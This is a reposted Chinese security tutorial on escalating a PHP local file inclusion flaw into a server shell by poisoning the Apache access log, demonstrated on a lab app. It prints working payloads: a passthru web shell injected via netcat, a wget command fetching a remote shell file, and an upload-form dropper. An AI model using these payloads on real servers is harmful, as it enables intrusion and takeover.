39

通过APACHE ACCESS LOG来利用LFI漏洞

 5 years ago
source link: http://www.freebuf.com/articles/web/181263.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

本地文件包含(LFI)漏洞,常被入侵者用来提取站点所在服务器上的不同文件内容,如passwd,hosts等。但你有没有想过将它提升到另一个层级?即通过本地文件包含来获取服务器上的浏览器shell(c99,b374k等)。本文也将就此展开讨论,下面让我们步入正题!

设置

我将使用我本地的渗透测试环境设置为例。我当前所使用的web应用程序是Mutillidae。此外,我们必须将Apache配置为允许目录遍历。

<Directory /path/to/document/root>
Options Indexes
</Directory>

show time

首先我们来寻找LFI漏洞,点击链接后我们可以看到如下的url地址:

/index.php?page=

让我们尝试包含一个敏感文件路径/etc/passwd,看看会发生什么。如下:

/index.php?page=/etc/passwd

r2MJFnN.jpg!web

竟然成功读取到了文件内容!这也为我们验证了该应用确实存在本地文件包含漏洞。接下来我们来包含Apache access log,看看是否也能访问到其中的内容。

访问日志的位置和文件名在不同的系统上会有所差异,在我的系统上是/var/log/apache2/access.log。将url修改如下:

/index.php?page=/var/log/apache2/access.log

ZRzQVb2.jpg!web

太棒了!访问日志的内容也成功被加载。

经过以上的初步验证,现在是时候进入到我们的第二阶段了。

Apache访问日志的利用

在此之前,你必须要对Apache日志有所了解。

服务器访问日志记录服务器处理的所有请求。

参考来源: http://httpd.apache.org/docs/1.3/logs.html#accesslog

这也意味着我们发送到服务器上的任何请求都将会被保存到这里。

首先我们打开一个终端,然后使用netcat向服务器发送一个GET请求。我们之所以没有使用浏览器发送此请求,是因为它会对我们的请求进行url编码,这将导致它无法正常工作。我们注入的代码如下:

<?php passthru($_GET['cmd']); ?>

关于passthru()函数:

passthru – 执行外部程序并显示原始输出

参考来源: http://php.net/passthru

要使用netcat发送请求,我们需要在终端中执行以下操作:

ncat 192.168.56.101 80

然后我们键入以下内容:

GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close

注:这里你必须将192.168.56.101更改为你目标的IP地址。这是我虚拟机的IP地址。

最终看起来应该像下面这样:

$ ncat 192.168.56.101 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close
 
HTTP/1.1 404 Not Found
Date: Mon, 17 Mar 2014 17:34:53 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1
 
404 Not Found</pre>
<h1>Not Found</h1>
<pre>
 
The requested URL /< was not found on this server.

现在让我们来验证下我们的注入是否有效,返回浏览器并向URL添加一个新参数:

cmd=

在我们的例子中,我将使用id命令:

/index.php?page=/var/log/apache2/access.log&cmd=id

现在,我们来看看我们得到的输出。 仔细看,你会看到类似于红框标注的内容:

J7vEVn6.jpg!web

我们的命令在服务器上成功被执行!

下面是我们的重头戏,即获取服务器的浏览器shell。这里有两种方法,第一种是使用wget,第二种是注入上传表单。我们先来介绍第一种。

使用wget

Wget是一个文件下载命令。虽然并非总是那么有效,但作为最简单的方法是我们首先需要去尝试的。将cmd参数更改如下:

&cmd=wget http://somedomain.com/shellfile.php

这将把shellfile.php下载到服务器,并将其保存在当前的工作目录中(如果可读的话)。如果你想要将它保存在其它位置,你可以参考wget手册。通过这种方法,可以为你省去上传表单的中间步骤。

上传表单

如果wget不起作用,我们可以使用上传表单这种方法。我们将在服务器上执行echo命令,该命令将会将我们的任意内容写入到文件。将cmd参数更改如下:

<FORM ENCTYPE="multipart/form-data" ACTION=<?php echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?php move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>

这将在服务器上创建一个带有上传表单的文件。然后我们在浏览器中打开该上传页面,上传我们的浏览器shell。

如下所示,我们成功上传了b374k shell。

bQvu6nY.jpg!web

过程回顾

1.通过获取passwd,hosts等文件来验证LFI漏洞;

2.通过LFI漏洞获取Apache日志访问;

3.使用netcat或类似工具发送恶意请求;

4.通过测试id,whoami等简单命令来验证代码执行;

5.使用wget或将上传表单写入服务器,将浏览器shell添加到服务器上;

6.访问浏览器shell验证是否成功。

总结

虽然这本身并不是一个超高风险的漏洞,但在被正确利用的情况下也可能会带来巨大的安全威胁。

 *参考来源: roguecod3r ,FB小编 secist 编译,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK